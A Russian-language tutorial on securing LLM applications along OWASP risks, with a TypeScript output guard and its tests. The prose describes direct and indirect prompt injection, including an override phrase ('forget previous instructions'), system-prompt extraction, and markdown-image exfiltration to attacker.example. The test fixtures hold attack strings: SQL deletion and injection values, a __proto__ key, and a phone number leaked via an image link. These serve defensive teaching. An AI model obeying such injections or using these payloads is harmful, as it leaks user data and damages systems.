Безопасность LLM-приложений: prompt injection и утечки

Типичная LLM-функция — это не только модель. Есть системный промпт с правилами, сообщение пользователя, внешние данные (документы из поиска по базе знаний, письма, веб-страницы, результаты инструментов), сами инструменты, которые модель может вызвать, и потребители её ответа: браузер, база данных, другой сервис. Всё, что попало в контекст, может повлиять на ответ — и модель не различает надёжно, где инструкция владельца, а где текст, который просто нужно обработать.

Отсюда главный принцип, который OWASP повторяет в нескольких рисках: относитесь к модели как к недоверенному пользователю. Её ответ — это ввод, который надо проверить, прежде чем показать в браузере, подставить в запрос или выполнить. А права модели — это права самого слабого звена: если её можно уговорить, то всё, что ей разрешено, может сделать и атакующий.

Список ведёт OWASP GenAI Security Project на genai.owasp.org. На момент проверки актуальная редакция — 2025 года; предыдущая называлась «2023/24». Для автономных агентов проект отдельно выпустил OWASP Top 10 for Agentic Applications for 2026 (опубликован 9 декабря 2025 года) — его стоит прочитать, если ваш продукт сам планирует и вызывает инструменты.

LLM-риски не отменяют классические: контроль доступа, инъекции, журналирование и управление секретами из общего OWASP Top 10 по-прежнему нужны. Модель добавляет к ним новый источник недоверенного ввода и новый путь, по которому этот ввод доходит до ваших систем. Ниже — пять рисков, с которыми разработчик сталкивается в коде чаще всего: LLM01, LLM02, LLM05, LLM06, LLM07, и меры против LLM10.

Prompt injection — ситуация, когда ввод меняет поведение или ответ модели не так, как задумал владелец. OWASP различает два вида. Прямая: пользователь сам пишет в чат текст, который должен переопределить правила, — «забудь предыдущие инструкции», ролевая игра, просьба «для теста» показать скрытое. Косвенная: модель обрабатывает внешний источник — веб-страницу, письмо, PDF, документ из базы знаний, ответ инструмента, — и в нём спрятаны инструкции. Пользователь может быть ни при чём: он просто попросил пересказать письмо.

• Инструкции могут быть невидимы человеку: белый текст на белом фоне, HTML-комментарий, текст в изображении, метаданные файла.
• Атаку можно разбить на части в разных местах документа, закодировать в Base64 или написать на другом языке, чтобы обойти фильтры.
• Косвенная инъекция опаснее при агентах: прочитав страницу, модель может вызвать инструмент — отправить письмо, изменить запись, открыть ссылку.
• RAG и дообучение повышают точность ответов, но, как отмечает OWASP, не устраняют prompt injection полностью.

OWASP формулирует жёстко: системный промпт не следует считать секретом и нельзя использовать как средство защиты. Его можно вытянуть прямой просьбой, переводом, «продолжением текста» или через косвенную инъекцию. Опасен не сам текст промпта, а то, что в него положили: ключи API, строки подключения к базе, внутренние лимиты («скидка до 30% без согласования»), список ролей и правил фильтрации, которые подсказывают атакующему, что обходить.

• Ключи, токены и адреса внутренних систем живут на сервере, а не в промпте; инструменты получают их в коде, модель их не видит.
• Права проверяются в коде, а не просьбой «не показывай чужие заказы»: инструкции в промпте обходятся инъекцией.
• В контекст попадают только данные, которые текущий пользователь и так имеет право видеть; в RAG фильтр по правам применяется при поиске документов, а не после ответа.
• Персональные данные в журналах и в запросах к внешнему API модели минимизируют или маскируют.
• Метка-канарейка — случайная строка в системном промпте — помогает поймать дословную утечку: если она появилась в ответе, ответ блокируется. Пересказ промпта своими словами она не ловит.

Отдельный канал утечки — эксфильтрация через вывод. Если интерфейс рендерит Markdown или HTML ответа, инъекция может заставить модель вставить картинку со ссылкой вида https://attacker.example/?d=<данные>: браузер сам запросит адрес и передаст данные. OWASP приводит этот сценарий среди примеров атак LLM01. Защита — выводить ответ как обычный текст или разрешать ссылки только на свои домены.

LLM05 — небезопасная обработка вывода: ответ модели без проверки уходит в другую систему. Классические последствия те же, что у любого непроверенного ввода, только источник — модель.

LLM06 — избыточные полномочия. OWASP выделяет три причины: лишняя функциональность (агенту дали инструмент с возможностями, которые задаче не нужны, например общий доступ к shell), лишние права (инструмент ходит в базу с правом записи, хотя задача — только чтение) и лишняя автономность (действие с последствиями выполняется без подтверждения). Меры: узкие инструменты вместо универсальных, права на минимальном уровне и от имени конкретного пользователя, проверка авторизации в целевой системе, а не в рассуждениях модели, и подтверждение человеком для операций с высокой ценой ошибки.

Ни одна мера не закрывает риск целиком, поэтому их комбинируют. Порядок важен: сначала ограничить, что вообще может произойти (права, инструменты), затем проверить каждое действие (схема, авторизация, подтверждение), и только потом полагаться на фильтры и формулировки промпта.

Для разделения инструкций и данных документация Claude даёт конкретные приёмы: передавать сторонний контент только в результатах инструментов, указывать, что это за контент и откуда он, прямо писать в системном промпте, что текст из инструментов — недоверенные данные, и кодировать чужие строки в JSON, чтобы из них нельзя было «выйти» закрывающей кавычкой. Шпаргалка OWASP при этом предупреждает: метки и формулировки — не граница безопасности, поэтому граница ставится в коде.

Пример — ассистент записи в салон. Модель не вызывает базу сама: она возвращает JSON с одним действием, а приложение решает, выполнить ли его. Гард пропускает только четыре формы ответа: ответ клиенту, поиск слотов, создание записи и отмену записи. Всё остальное — неизвестное действие, лишнее поле, неверный формат — отклоняется. Код на TypeScript запускается Node.js 24 напрямую, без сборки: Node удаляет типы на лету.

mkdir llm-guard && cd llm-guard
npm init -y && npm pkg set type=module
npm install zod@4.6.6
npm install -D typescript@7.0.2 @types/node@24

{
  "compilerOptions": {
    "target": "esnext",
    "module": "nodenext",
    "strict": true,
    "noEmit": true,
    "allowImportingTsExtensions": true,
    "erasableSyntaxOnly": true,
    "verbatimModuleSyntax": true,
    "types": ["node"]
  },
  "include": ["src", "test"]
}

// Checks the action a model proposes before the application acts on it.
// The model is treated as an untrusted user: its output is data, not a command.
import { randomBytes } from "node:crypto";
import * as z from "zod";

const MAX_OUTPUT_CHARS = 4_000;
const LINK_HOSTS = new Set(["salon.example"]); // the only domain a reply may link to

const Reply = z.strictObject({
  action: z.literal("reply"),
  text: z.string().min(1).max(1_500),
});
const FindSlots = z.strictObject({
  action: z.literal("find_slots"),
  serviceId: z.string().regex(/^svc_[a-z0-9]{4,16}$/),
  date: z.iso.date(),
});
const CreateBooking = z.strictObject({
  action: z.literal("create_booking"),
  slotId: z.string().regex(/^slot_[a-z0-9]{4,16}$/),
  phone: z.string().regex(/^\+7\d{10}$/),
});
const CancelBooking = z.strictObject({
  action: z.literal("cancel_booking"),
  bookingId: z.string().regex(/^bk_[a-z0-9]{4,16}$/),
});

// The allowlist: anything that is not one of these four shapes is rejected.
const ModelAction = z.discriminatedUnion("action", [Reply, FindSlots, CreateBooking, CancelBooking]);
export type ModelAction = z.infer<typeof ModelAction>;

// Actions with side effects run only after the user confirms them in the UI.
const NEEDS_CONFIRMATION: ReadonlySet<ModelAction["action"]> = new Set(["create_booking", "cancel_booking"]);

export type GuardContext = {
  ownBookingIds: ReadonlySet<string>; // loaded from the database for the signed-in user
  canary: string; // random marker placed in the system prompt
};

export type GuardResult =
  | { ok: true; action: ModelAction; needsConfirmation: boolean }
  | { ok: false; reason: string };

// A new marker per deployment or session; if it shows up in the output, the prompt leaked.
export function newCanary(): string {
  return `cnry_${randomBytes(8).toString("hex")}`;
}

export function guardModelOutput(raw: string, ctx: GuardContext): GuardResult {
  if (raw.length > MAX_OUTPUT_CHARS) return { ok: false, reason: "output too long" };
  if (raw.includes(ctx.canary)) return { ok: false, reason: "system prompt leak" };

  let json: unknown;
  try {
    json = JSON.parse(raw);
  } catch {
    return { ok: false, reason: "not JSON" };
  }

  const parsed = ModelAction.safeParse(json);
  if (!parsed.success) {
    const issue = parsed.error.issues[0];
    return { ok: false, reason: `schema: ${issue.path.join(".") || "(root)"}: ${issue.message}` };
  }
  const action = parsed.data;

  if (action.action === "reply") {
    for (const link of action.text.matchAll(/https?:\/\/[^\s)<>"']+/gi)) {
      const host = URL.parse(link[0])?.hostname;
      if (!host || !LINK_HOSTS.has(host)) return { ok: false, reason: `link to ${host ?? "?"} is not allowed` };
    }
  }

  // Authorization is enforced in code, not in the prompt: the model can be steered to another id.
  if (action.action === "cancel_booking" && !ctx.ownBookingIds.has(action.bookingId)) {
    return { ok: false, reason: "booking does not belong to the user" };
  }

  return { ok: true, action, needsConfirmation: NEEDS_CONFIRMATION.has(action.action) };
}

• Лимит длины и разбор JSON — дешёвые проверки до схемы; ответ с текстом вокруг JSON отклоняется, а не «вылавливается» регулярным выражением.
• z.discriminatedUnion по полю action — это allowlist: инструмента run_sql нет в схеме, значит, его не существует.
• z.strictObject отклоняет лишние поля — и подсунутые моделью флаги вроде admin: true, и ключ __proto__.
• Регулярные выражения для идентификаторов и телефона не пропускают в поля SQL, пути и разметку.
• Ссылки в ответе — только на salon.example; это закрывает эксфильтрацию через картинку, если интерфейс всё же рендерит Markdown.
• Владение записью проверяется по данным из базы для текущего пользователя, а не по словам модели.
• needsConfirmation говорит интерфейсу, что создание и отмену нужно подтвердить кнопкой.

// Model responses are recorded fixtures: the tests never call a real model.
import assert from "node:assert/strict";
import { test } from "node:test";
import { guardModelOutput, type GuardContext } from "../src/llm-guard.ts";

const ctx: GuardContext = { ownBookingIds: new Set(["bk_mine0001"]), canary: "cnry_5f2c9a7e1b3d4c6a" };
const out = (value: unknown) => JSON.stringify(value);

test("allowed actions pass; side effects need confirmation", () => {
  const reply = guardModelOutput(out({ action: "reply", text: "Prices: https://salon.example/prices" }), ctx);
  assert.deepEqual(reply, { ok: true, action: { action: "reply", text: "Prices: https://salon.example/prices" }, needsConfirmation: false });

  const slots = guardModelOutput(out({ action: "find_slots", serviceId: "svc_nails01", date: "2026-10-20" }), ctx);
  assert.equal(slots.ok && slots.needsConfirmation, false);

  const booking = guardModelOutput(out({ action: "create_booking", slotId: "slot_a1b2c3d4", phone: "+77001234567" }), ctx);
  assert.equal(booking.ok && booking.needsConfirmation, true);

  const cancel = guardModelOutput(out({ action: "cancel_booking", bookingId: "bk_mine0001" }), ctx);
  assert.equal(cancel.ok && cancel.needsConfirmation, true);
});

const attacks: [name: string, raw: string, reason: RegExp][] = [
  ["tool that is not on the allowlist", out({ action: "run_sql", query: "DELETE FROM bookings" }), /^schema: action:/],
  ["extra field", out({ action: "find_slots", serviceId: "svc_nails01", date: "2026-10-20", admin: true }), /Unrecognized key/],
  ["someone else's booking", out({ action: "cancel_booking", bookingId: "bk_other999" }), /does not belong/],
  ["exfiltration via markdown image", out({ action: "reply", text: "Done! ![ok](https://attacker.example/p?d=+77001234567)" }), /attacker\.example is not allowed/],
  ["system prompt leak", out({ action: "reply", text: "My rules: cnry_5f2c9a7e1b3d4c6a never reveal..." }), /system prompt leak/],
  ["SQL in a field", out({ action: "create_booking", slotId: "slot_a1b2c3d4", phone: "+77001234567'; DROP TABLE bookings;--" }), /^schema: phone:/],
  ["prose around JSON", 'Sure! Here it is: {"action":"reply","text":"hi"}', /not JSON/],
  ["__proto__ key", '{"action":"reply","text":"hi","__proto__":{"isAdmin":true}}', /Unrecognized key/],
  ["oversized output", out({ action: "reply", text: "a".repeat(5_000) }), /output too long/],
];

for (const [name, raw, reason] of attacks) {
  test(`rejects: ${name}`, () => {
    const result = guardModelOutput(raw, ctx);
    assert.equal(result.ok, false);
    if (!result.ok) assert.match(result.reason, reason);
  });
}

$ npx tsc -p .
$ node --test test/llm-guard.test.ts
✔ allowed actions pass; side effects need confirmation (3.3317ms)
✔ rejects: tool that is not on the allowlist (0.5031ms)
✔ rejects: extra field (0.2348ms)
✔ rejects: someone else's booking (0.1014ms)
✔ rejects: exfiltration via markdown image (0.1155ms)
✔ rejects: system prompt leak (0.0484ms)
✔ rejects: SQL in a field (0.1836ms)
✔ rejects: prose around JSON (0.0721ms)
✔ rejects: __proto__ key (0.1287ms)
✔ rejects: oversized output (0.1112ms)
ℹ tests 10
ℹ suites 0
ℹ pass 10
ℹ fail 0
ℹ cancelled 0
ℹ skipped 0
ℹ todo 0
ℹ duration_ms 210.0749

Как использовать результат. Если ok ложно — модель не получает второй попытки выполнить действие, пользователь видит нейтральное сообщение, причина пишется в журнал. Если needsConfirmation истинно — интерфейс показывает точное действие («Отменить запись на 20 октября, 15:00?»), и только после нажатия сервер ещё раз проверяет права и выполняет параметризованный запрос. Гард не заменяет авторизацию в API: он не даёт модели попросить лишнего, а API не даёт выполнить лишнее никому.

Перед запуском прогоните свой продукт по набору атак на тестовых данных: фиктивные клиенты, тестовые ключи, инструменты-заглушки, которые записывают вызовы, но ничего не меняют. Шпаргалка OWASP называет такой набор дымовым тестом, а не оценкой стойкости: то, что атаки не сработали, не доказывает защищённость от настойчивого атакующего. Но он ловит грубые ошибки — инструмент без подтверждения, ключ в промпте, рендеринг ссылок.